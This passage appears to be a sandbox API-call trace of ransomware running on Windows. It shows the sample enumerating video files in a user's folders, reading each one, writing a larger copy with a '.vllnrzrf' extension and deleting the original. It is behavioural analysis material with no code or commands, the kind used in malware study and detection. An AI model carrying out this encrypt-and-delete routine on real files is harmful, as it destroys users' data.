rn9WLatTlI\\LQz6AdzNi4BeZmO\\5crMlWy.avi", nBufferLength=0x105, lpBuffer=0x1c04ea10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\5crMlWy.avi", lpFilePart=0x0) returned 0x53 [0121.422] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\5crMlWy.avi", nBufferLength=0x105, lpBuffer=0x1c04ebb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\5crMlWy.avi", lpFilePart=0x0) returned 0x53 [0121.422] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\5crMlWy.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dl8vak1 rn9wlattli\\lqz6adzni4bezmo\\5crmlwy.avi")) returned 1 [0121.424] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\7mIW.avi", nBufferLength=0x105, lpBuffer=0x1c04ea10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\7mIW.avi", lpFilePart=0x0) returned 0x50 [0121.425] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\7mIW.avi", nBufferLength=0x105, lpBuffer=0x1c04ea10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\7mIW.avi", lpFilePart=0x0) returned 0x50 [0121.425] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\7mIW.avi", nBufferLength=0x105, lpBuffer=0x1c04ea10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\7mIW.avi", lpFilePart=0x0) returned 0x50 [0121.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04eef0) returned 1 [0121.425] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\7mIW.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dl8vak1 rn9wlattli\\lqz6adzni4bezmo\\7miw.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4d0 [0121.425] GetFileType (hFile=0x4d0) returned 0x1 [0121.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04ee60) returned 1 [0121.425] GetFileType (hFile=0x4d0) returned 0x1 [0121.425] GetFileSize (in: hFile=0x4d0, lpFileSizeHigh=0x1c04f088 | out: lpFileSizeHigh=0x1c04f088*=0x0) returned 0x3847 [0121.425] ReadFile (in: hFile=0x4d0, lpBuffer=0x236db90, nNumberOfBytesToRead=0x3847, lpNumberOfBytesRead=0x1c04efb8, lpOverlapped=0x0 | out: lpBuffer=0x236db90*, lpNumberOfBytesRead=0x1c04efb8*=0x3847, lpOverlapped=0x0) returned 1 [0121.427] CloseHandle (hObject=0x4d0) returned 1 [0121.440] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\7mIW.avi.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c04ea10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\7mIW.avi.vllnrzrf", lpFilePart=0x0) returned 0x59 [0121.440] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04eef0) returned 1 [0121.440] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\7mIW.avi.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dl8vak1 rn9wlattli\\lqz6adzni4bezmo\\7miw.avi.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4d0 [0121.441] GetFileType (hFile=0x4d0) returned 0x1 [0121.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04ee60) returned 1 [0121.441] GetFileType (hFile=0x4d0) returned 0x1 [0121.441] WriteFile (in: hFile=0x4d0, lpBuffer=0x238e338*, nNumberOfBytesToWrite=0x3a47, lpNumberOfBytesWritten=0x1c04f018, lpOverlapped=0x0 | out: lpBuffer=0x238e338*, lpNumberOfBytesWritten=0x1c04f018*=0x3a47, lpOverlapped=0x0) returned 1 [0121.442] CloseHandle (hObject=0x4d0) returned 1 [0121.445] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\7mIW.avi", nBufferLength=0x105, lpBuffer=0x1c04ea10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\7mIW.avi", lpFilePart=0x0) returned 0x50 [0121.445] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\7mIW.avi", nBufferLength=0x105, lpBuffer=0x1c04ebb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\7mIW.avi", lpFilePart=0x0) returned 0x50 [0121.445] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\7mIW.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dl8vak1 rn9wlattli\\lqz6adzni4bezmo\\7miw.avi")) returned 1 [0121.447] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\ESQJvKyYoJMFb.mp4", nBufferLength=0x105, lpBuffer=0x1c04ea10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\ESQJvKyYoJMFb.mp4", lpFilePart=0x0) returned 0x59 [0121.447] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\ESQJvKyYoJMFb.mp4", nBufferLength=0x105, lpBuffer=0x1c04ea10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\ESQJvKyYoJMFb.mp4", lpFilePart=0x0) returned 0x59 [0121.448] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\ESQJvKyYoJMFb.mp4", nBufferLength=0x105, lpBuffer=0x1c04ea10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\ESQJvKyYoJMFb.mp4", lpFilePart=0x0) returned 0x59 [0121.448] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04eef0) returned 1 [0121.448] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\ESQJvKyYoJMFb.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dl8vak1 rn9wlattli\\lqz6adzni4bezmo\\esqjvkyyojmfb.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4d0 [0121.448] GetFileType (hFile=0x4d0) returned 0x1 [0121.448] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04ee60) returned 1 [0121.448] GetFileType (hFile=0x4d0) returned 0x1 [0121.448] GetFileSize (in: hFile=0x4d0, lpFileSizeHigh=0x1c04f088 | out: lpFileSizeHigh=0x1c04f088*=0x0) returned 0x70b6 [0121.448] ReadFile (in: hFile=0x4d0, lpBuffer=0x2392ac0, nNumberOfBytesToRead=0x70b6, lpNumberOfBytesRead=0x1c04efb8, lpOverlapped=0x0 | out: lpBuffer=0x2392ac0*, lpNumberOfBytesRead=0x1c04efb8*=0x70b6, lpOverlapped=0x0) returned 1 [0121.449] CloseHandle (hObject=0x4d0) returned 1 [0121.459] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\ESQJvKyYoJMFb.mp4.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c04ea10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\ESQJvKyYoJMFb.mp4.vllnrzrf", lpFilePart=0x0) returned 0x62 [0121.459] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04eef0) returned 1 [0121.459] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\ESQJvKyYoJMFb.mp4.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dl8vak1 rn9wlattli\\lqz6adzni4bezmo\\esqjvkyyojmfb.mp4.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4d0 [0121.459] GetFileType (hFile=0x4d0) returned 0x1 [0121.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04ee60) returned 1 [0121.460] GetFileType (hFile=0x4d0) returned 0x1 [0121.460] WriteFile (in: hFile=0x4d0, lpBuffer=0x23c9cb0*, nNumberOfBytesToWrite=0x72b6, lpNumberOfBytesWritten=0x1c04f018, lpOverlapped=0x0 | out: lpBuffer=0x23c9cb0*, lpNumberOfBytesWritten=0x1c04f018*=0x72b6, lpOverlapped=0x0) returned 1 [0121.461] CloseHandle (hObject=0x4d0) returned 1 [0121.463] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\ESQJvKyYoJMFb.mp4", nBufferLength=0x105, lpBuffer=0x1c04ea10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\ESQJvKyYoJMFb.mp4", lpFilePart=0x0) returned 0x59 [0121.463] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\ESQJvKyYoJMFb.mp4", nBufferLength=0x105, lpBuffer=0x1c04ebb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\ESQJvKyYoJMFb.mp4", lpFilePart=0x0) returned 0x59 [0121.463] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\ESQJvKyYoJMFb.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dl8vak1 rn9wlattli\\lqz6adzni4bezmo\\esqjvkyyojmfb.mp4")) returned 1 [0121.466] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\V7FDYZFW0I95n.mkv", nBufferLength=0x105, lpBuffer=0x1c04ea10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\V7FDYZFW0I95n.mkv", lpFilePart=0x0) returned 0x59 [0121.466] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\V7FDYZFW0I95n.mkv", nBufferLength=0x105, lpBuffer=0x1c04ea10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\V7FDYZFW0I95n.mkv", lpFilePart=0x0) returned 0x59 [0121.466] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\V7FDYZFW0I95n.mkv", nBufferLength=0x105, lpBuffer=0x1c04ea10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\V7FDYZFW0I95n.mkv", lpFilePart=0x0) returned 0x59 [0121.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04eef0) returned 1 [0121.466] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\V7FDYZFW0I95n.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dl8vak1 rn9wlattli\\lqz6adzni4bezmo\\v7fdyzfw0i95n.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4d0 [0121.466] GetFileType (hFile=0x4d0) returned 0x1 [0121.466] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04ee60) returned 1 [0121.466] GetFileType (hFile=0x4d0) returned 0x1 [0121.466] GetFileSize (in: hFile=0x4d0, lpFileSizeHigh=0x1c04f088 | out: lpFileSizeHigh=0x1c04f088*=0x0) returned 0x13dd6 [0121.466] ReadFile (in: hFile=0x4d0, lpBuffer=0x23d1ce8, nNumberOfBytesToRead=0x13dd6, lpNumberOfBytesRead=0x1c04efb8, lpOverlapped=0x0 | out: lpBuffer=0x23d1ce8*, lpNumberOfBytesRead=0x1c04efb8*=0x13dd6, lpOverlapped=0x0) returned 1 [0121.468] CloseHandle (hObject=0x4d0) returned 1 [0121.490] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\V7FDYZFW0I95n.mkv.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c04ea10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\V7FDYZFW0I95n.mkv.vllnrzrf", lpFilePart=0x0) returned 0x62 [0121.490] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04eef0) returned 1 [0121.490] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\V7FDYZFW0I95n.mkv.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dl8vak1 rn9wlattli\\lqz6adzni4bezmo\\v7fdyzfw0i95n.mkv.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4d0 [0121.490] GetFileType (hFile=0x4d0) returned 0x1 [0121.491] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04ee60) returned 1 [0121.491] GetFileType (hFile=0x4d0) returned 0x1 [0121.491] WriteFile (in: hFile=0x4d0, lpBuffer=0x243fc98*, nNumberOfBytesToWrite=0x13fd6, lpNumberOfBytesWritten=0x1c04f018, lpOverlapped=0x0 | out: lpBuffer=0x243fc98*, lpNumberOfBytesWritten=0x1c04f018*=0x13fd6, lpOverlapped=0x0) returned 1 [0121.493] CloseHandle (hObject=0x4d0) returned 1 [0121.495] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\V7FDYZFW0I95n.mkv", nBufferLength=0x105, lpBuffer=0x1c04ea10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\V7FDYZFW0I95n.mkv", lpFilePart=0x0) returned 0x59 [0121.495] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\V7FDYZFW0I95n.mkv", nBufferLength=0x105, lpBuffer=0x1c04ebb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\V7FDYZFW0I95n.mkv", lpFilePart=0x0) returned 0x59 [0121.495] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\V7FDYZFW0I95n.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dl8vak1 rn9wlattli\\lqz6adzni4bezmo\\v7fdyzfw0i95n.mkv")) returned 1 [0121.498] CoUninitialize () Thread: id = 111 os_tid = 0x5d4 [0121.525] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0121.526] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", nBufferLength=0x105, lpBuffer=0x1c83edc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", lpFilePart=0x0) returned 0x37 [0121.526] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c83f220) returned 1 [0121.526] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", nBufferLength=0x105, lpBuffer=0x1c83ed10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", lpFilePart=0x0) returned 0x37 [0121.526] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\", nBufferLength=0x105, lpBuffer=0x1c83ecb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\", lpFilePart=0x0) returned 0x38 [0121.526] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\*.*", lpFindFileData=0x1c83eec0 | out: lpFindFileData=0x1c83eec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4fc0ec50, ftCreationTime.dwHighDateTime=0x1d5e749, ftLastAccessTime.dwLowDateTime=0x1b9fde90, ftLastAccessTime.dwHighDateTime=0x1d5d92f, ftLastWriteTime.dwLowDateTime=0x1b9fde90, ftLastWriteTime.dwHighDateTime=0x1d5d92f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a5787e0 [0121.526] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c83ef10 | out: lpFindFileData=0x1c83ef10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4fc0ec50, ftCreationTime.dwHighDateTime=0x1d5e749, ftLastAccessTime.dwLowDateTime=0x1b9fde90, ftLastAccessTime.dwHighDateTime=0x1d5d92f, ftLastWriteTime.dwLowDateTime=0x1b9fde90, ftLastWriteTime.dwHighDateTime=0x1d5d92f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.526] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c83ef10 | out: lpFindFileData=0x1c83ef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39732a70, ftCreationTime.dwHighDateTime=0x1d5d944, ftLastAccessTime.dwLowDateTime=0x9bbf0a10, ftLastAccessTime.dwHighDateTime=0x1d5df6f, ftLastWriteTime.dwLowDateTime=0x9bbf0a10, ftLastWriteTime.dwHighDateTime=0x1d5df6f, nFileSizeHigh=0x0, nFileSizeLow=0xa549, dwReserved0=0x0, dwReserved1=0x0, cFileName="eRzVeBe.avi", cAlternateFileName="")) returned 1 [0121.527] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c83ef10 | out: lpFindFileData=0x1c83ef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c9d0a40, ftCreationTime.dwHighDateTime=0x1d5e05c, ftLastAccessTime.dwLowDateTime=0xff228ad0, ftLastAccessTime.dwHighDateTime=0x1d5d81e, ftLastWriteTime.dwLowDateTime=0xff228ad0, ftLastWriteTime.dwHighDateTime=0x1d5d81e, nFileSizeHigh=0x0, nFileSizeLow=0xa31d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eu__hyt_q.flv", cAlternateFileName="EU__HY~1.FLV")) returned 1 [0121.527] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c83ef10 | out: lpFindFileData=0x1c83ef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb30c39b0, ftCreationTime.dwHighDateTime=0x1d5d86f, ftLastAccessTime.dwLowDateTime=0xda8c4250, ftLastAccessTime.dwHighDateTime=0x1d5e26f, ftLastWriteTime.dwLowDateTime=0xda8c4250, ftLastWriteTime.dwHighDateTime=0x1d5e26f, nFileSizeHigh=0x0, nFileSizeLow=0x9ca7, dwReserved0=0x0, dwReserved1=0x0, cFileName="m4eo.swf", cAlternateFileName="")) returned 1 [0121.527] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c83ef10 | out: lpFindFileData=0x1c83ef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6386370, ftCreationTime.dwHighDateTime=0x1d5e469, ftLastAccessTime.dwLowDateTime=0x1e3bcb20, ftLastAccessTime.dwHighDateTime=0x1d5e26f, ftLastWriteTime.dwLowDateTime=0x1e3bcb20, ftLastWriteTime.dwHighDateTime=0x1d5e26f, nFileSizeHigh=0x0, nFileSizeLow=0x7bd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="T9k0PODqkSnYxH.flv", cAlternateFileName="T9K0PO~1.FLV")) returned 1 [0121.527] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c83ef10 | out: lpFindFileData=0x1c83ef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaff2f3e0, ftCreationTime.dwHighDateTime=0x1d5e7a6, ftLastAccessTime.dwLowDateTime=0xd2b3b4a0, ftLastAccessTime.dwHighDateTime=0x1d5e54e, ftLastWriteTime.dwLowDateTime=0xd2b3b4a0, ftLastWriteTime.dwHighDateTime=0x1d5e54e, nFileSizeHigh=0x0, nFileSizeLow=0x39d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="UGLiyf.mp4", cAlternateFileName="")) returned 1 [0121.527] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c83ef10 | out: lpFindFileData=0x1c83ef10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0121.528] FindClose (in: hFindFile=0x1a5787e0 | out: hFindFile=0x1a5787e0) returned 1 [0121.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c83f170) returned 1 [0121.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c83f130) returned 1 [0121.529] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\eRzVeBe.avi", nBufferLength=0x105, lpBuffer=0x1c83ec30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\eRzVeBe.avi", lpFilePart=0x0) returned 0x43 [0121.529] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\eRzVeBe.avi", nBufferLength=0x105, lpBuffer=0x1c83ec30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\eRzVeBe.avi", lpFilePart=0x0) returned 0x43 [0121.529] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\eRzVeBe.avi", nBufferLength=0x105, lpBuffer=0x1c83ec30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\eRzVeBe.avi", lpFilePart=0x0) returned 0x43 [0121.529] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c83f110) returned 1 [0121.529] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\eRzVeBe.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gxe419os4bcxmdlnn6\\erzvebe.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x530 [0121.529] GetFileType (hFile=0x530) returned 0x1 [0121.529] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c83f080) returned 1 [0121.529] GetFileType (hFile=0x530) returned 0x1 [0121.529] GetFileSize (in: hFile=0x530, lpFileSizeHigh=0x1c83f2a8 | out: lpFileSizeHigh=0x1c83f2a8*=0x0) returned 0xa549 [0121.530] ReadFile (in: hFile=0x530, lpBuffer=0x2456f78, nNumberOfBytesToRead=0xa549, lpNumberOfBytesRead=0x1c83f1d8, lpOverlapped=0x0 | out: lpBuffer=0x2456f78*, lpNumberOfBytesRead=0x1c83f1d8*=0xa549, lpOverlapped=0x0) returned 1 [0121.532] CloseHandle (hObject=0x530) returned 1 [0121.552] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\eRzVeBe.avi.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c83ec30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\eRzVeBe.avi.vllnrzrf", lpFilePart=0x0) returned 0x4c [0121.552] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c83f110) returned 1 [0121.552] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS 